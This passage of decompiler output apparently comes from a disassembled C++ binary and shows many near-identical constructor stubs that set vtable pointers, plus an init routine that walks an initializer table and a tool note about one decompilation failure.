{ _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2109A8; return result; } // 2109A8: using guessed type void (__fastcall __noreturn *off_2109A8)(); //----- (000000000000B964) ---------------------------------------------------- _QWORD *__fastcall sub_B964(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_211020; return result; } // 211020: using guessed type void (__fastcall __noreturn *off_211020)(); //----- (000000000000B98E) ---------------------------------------------------- _QWORD *__fastcall sub_B98E(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210FF0; return result; } // 210FF0: using guessed type void (__fastcall __noreturn *off_210FF0)(); //----- (000000000000B9B8) ---------------------------------------------------- _QWORD *__fastcall sub_B9B8(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210A80; return result; } // 210A80: using guessed type void (__fastcall __noreturn *off_210A80)(); //----- (000000000000B9E2) ---------------------------------------------------- _QWORD *__fastcall sub_B9E2(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210C90; return result; } // 210C90: using guessed type void (__fastcall __noreturn *off_210C90)(); //----- (000000000000BA0C) ---------------------------------------------------- _QWORD *__fastcall sub_BA0C(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210C60; return result; } // 210C60: using guessed type void (__fastcall __noreturn *off_210C60)(); //----- (000000000000BA36) ---------------------------------------------------- _QWORD *__fastcall sub_BA36(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210EE8; return result; } // 210EE8: using guessed type void (__fastcall __noreturn *off_210EE8)(); //----- (000000000000BA60) ---------------------------------------------------- _QWORD *__fastcall sub_BA60(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210A38; return result; } // 210A38: using guessed type void (__fastcall __noreturn *off_210A38)(); //----- (000000000000BA8A) ---------------------------------------------------- _QWORD *__fastcall sub_BA8A(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210A20; return result; } // 210A20: using guessed type void (__fastcall __noreturn *off_210A20)(); //----- (000000000000BAB4) ---------------------------------------------------- _QWORD *__fastcall sub_BAB4(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210DF8; return result; } // 210DF8: using guessed type void (__fastcall __noreturn *off_210DF8)(); //----- (000000000000BADE) ---------------------------------------------------- _QWORD *__fastcall sub_BADE(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210AB0; return result; } // 210AB0: using guessed type void (__fastcall __noreturn *off_210AB0)(); //----- (000000000000BB08) ---------------------------------------------------- _QWORD *__fastcall sub_BB08(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210708; return result; } // 210708: using guessed type void (__fastcall __noreturn *off_210708)(); //----- (000000000000BB32) ---------------------------------------------------- _QWORD *__fastcall sub_BB32(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2109D8; return result; } // 2109D8: using guessed type void (__fastcall __noreturn *off_2109D8)(); //----- (000000000000BB5C) ---------------------------------------------------- _QWORD *__fastcall sub_BB5C(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210DE0; return result; } // 210DE0: using guessed type void (__fastcall __noreturn *off_210DE0)(); //----- (000000000000BB86) ---------------------------------------------------- _QWORD *__fastcall sub_BB86(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210888; return result; } // 210888: using guessed type void (__fastcall __noreturn *off_210888)(); //----- (000000000000BBB0) ---------------------------------------------------- _QWORD *__fastcall sub_BBB0(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210930; return result; } // 210930: using guessed type void (__fastcall __noreturn *off_210930)(); //----- (000000000000BBDA) ---------------------------------------------------- _QWORD *__fastcall sub_BBDA(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210D20; return result; } // 210D20: using guessed type void (__fastcall __noreturn *off_210D20)(); //----- (000000000000BC04) ---------------------------------------------------- _QWORD *__fastcall sub_BC04(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_211098; return result; } // 211098: using guessed type void (__fastcall __noreturn *off_211098)(); //----- (000000000000BC2E) ---------------------------------------------------- _QWORD *__fastcall sub_BC2E(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210B10; return result; } // 210B10: using guessed type void (__fastcall __noreturn *off_210B10)(); //----- (000000000000BC58) ---------------------------------------------------- _QWORD *__fastcall sub_BC58(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210DC8; return result; } // 210DC8: using guessed type void (__fastcall __noreturn *off_210DC8)(); //----- (000000000000BC82) ---------------------------------------------------- _QWORD *__fastcall sub_BC82(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2110C8; return result; } // 2110C8: using guessed type void (__fastcall __noreturn *off_2110C8)(); //----- (000000000000BCAC) ---------------------------------------------------- _QWORD *__fastcall sub_BCAC(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210618; return result; } // 210618: using guessed type void (__fastcall __noreturn *off_210618)(); //----- (000000000000BCD6) ---------------------------------------------------- _QWORD *__fastcall sub_BCD6(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210CD8; return result; } // 210CD8: using guessed type void (__fastcall __noreturn *off_210CD8)(); //----- (000000000000BD00) ---------------------------------------------------- _QWORD *__fastcall sub_BD00(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2106F0; return result; } // 2106F0: using guessed type void (__fastcall __noreturn *off_2106F0)(); //----- (000000000000BD2A) ---------------------------------------------------- _QWORD *__fastcall sub_BD2A(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210FA8; return result; } // 210FA8: using guessed type void (__fastcall __noreturn *off_210FA8)(); //----- (000000000000BD54) ---------------------------------------------------- _QWORD *__fastcall sub_BD54(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210750; return result; } // 210750: using guessed type void (__fastcall __noreturn *off_210750)(); //----- (000000000000BD7E) ---------------------------------------------------- _QWORD *__fastcall sub_BD7E(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210948; return result; } // 210948: using guessed type void (__fastcall __noreturn *off_210948)(); //----- (000000000000BDA8) ---------------------------------------------------- _QWORD *__fastcall sub_BDA8(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210F48; return result; } // 210F48: using guessed type void (__fastcall __noreturn *off_210F48)(); //----- (000000000000BDD2) ---------------------------------------------------- _QWORD *__fastcall sub_BDD2(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2107C8; return result; } // 2107C8: using guessed type void (__fastcall __noreturn *off_2107C8)(); //----- (000000000000BDFC) ---------------------------------------------------- _QWORD *__fastcall sub_BDFC(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210C78; return result; } // 210C78: using guessed type void (__fastcall __noreturn *off_210C78)(); //----- (000000000000BE26) ---------------------------------------------------- _QWORD *__fastcall sub_BE26(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2109C0; return result; } // 2109C0: using guessed type void (__fastcall __noreturn *off_2109C0)(); //----- (000000000000BE50) ---------------------------------------------------- _QWORD *__fastcall sub_BE50(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210648; return result; } // 210648: using guessed type void (__fastcall __noreturn *off_210648)(); //----- (000000000000BE7A) ---------------------------------------------------- _QWORD *__fastcall sub_BE7A(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2107B0; return result; } // 2107B0: using guessed type void (__fastcall __noreturn *off_2107B0)(); //----- (000000000000BEA4) ---------------------------------------------------- _QWORD *__fastcall sub_BEA4(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210C48; return result; } // 210C48: using guessed type void (__fastcall __noreturn *off_210C48)(); //----- (000000000000BECE) ---------------------------------------------------- _QWORD *__fastcall sub_BECE(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210BE8; return result; } // 210BE8: using guessed type void (__fastcall __noreturn *off_210BE8)(); //----- (000000000000BEF8) ---------------------------------------------------- _QWORD *__fastcall sub_BEF8(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210F18; return result; } // 210F18: using guessed type void (__fastcall __noreturn *off_210F18)(); //----- (000000000000BF22) ---------------------------------------------------- _QWORD *__fastcall sub_BF22(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210918; return result; } // 210918: using guessed type void (__fastcall __noreturn *off_210918)(); //----- (000000000000BF4C) ---------------------------------------------------- _QWORD *__fastcall sub_BF4C(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210ED0; return result; } // 210ED0: using guessed type void (__fastcall __noreturn *off_210ED0)(); //----- (000000000000BF76) ---------------------------------------------------- _QWORD *__fastcall sub_BF76(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210F30; return result; } // 210F30: using guessed type void (__fastcall __noreturn *off_210F30)(); //----- (000000000000BFA0) ---------------------------------------------------- _QWORD *__fastcall sub_BFA0(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210870; return result; } // 210870: using guessed type void (__fastcall __noreturn *off_210870)(); //----- (000000000000BFCA) ---------------------------------------------------- _QWORD *__fastcall sub_BFCA(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210FC0; return result; } // 210FC0: using guessed type void (__fastcall __noreturn *off_210FC0)(); //----- (000000000000BFF4) ---------------------------------------------------- _QWORD *__fastcall sub_BFF4(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210570; return result; } // 210570: using guessed type void (__fastcall __noreturn *off_210570)(); //----- (000000000000C01E) ---------------------------------------------------- _QWORD *__fastcall sub_C01E(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210588; return result; } // 210588: using guessed type void (__fastcall __noreturn *off_210588)(); //----- (000000000000C048) ---------------------------------------------------- _QWORD *__fastcall sub_C048(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_2110E0; return result; } // 2110E0: using guessed type void (__fastcall __noreturn *off_2110E0)(); //----- (000000000000C072) ---------------------------------------------------- _QWORD *__fastcall sub_C072(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210FD8; return result; } // 210FD8: using guessed type void (__fastcall __noreturn *off_210FD8)(); //----- (000000000000C09C) ---------------------------------------------------- _QWORD *__fastcall sub_C09C(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210690; return result; } // 210690: using guessed type void (__fastcall __noreturn *off_210690)(); //----- (000000000000C0C6) ---------------------------------------------------- _QWORD *__fastcall sub_C0C6(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210810; return result; } // 210810: using guessed type void (__fastcall __noreturn *off_210810)(); //----- (000000000000C0F0) ---------------------------------------------------- _QWORD *__fastcall sub_C0F0(_QWORD *a1) { _QWORD *result; // rax alloc_base(a1); result = a1; *a1 = &off_210828; return result; } // 210828: using guessed type void (__fastcall __noreturn *off_210828)(); //----- (000000000000C120) ---------------------------------------------------- void __fastcall init(unsigned int a1, __int64 a2, __int64 a3) { __int64 v3; // r15 signed __int64 v4; // rbp __int64 v5; // rbx v3 = a3; v4 = &off_210558 - off_210548; init_proc(); if ( v4 ) { v5 = 0LL; do ((void (__fastcall *)(_QWORD, __int64, __int64))off_210548[v5++])(a1, a2, v3); while ( v4 != v5 ); } } // 210548: using guessed type __int64 (__fastcall *off_210548[3])(); // 210558: using guessed type __int64 (__fastcall *off_210558)(); //----- (000000000000C194) ---------------------------------------------------- void term_proc() { ; } #error "There were 1 decompilation failure(s) on 264 function(s)"
sec-knowleage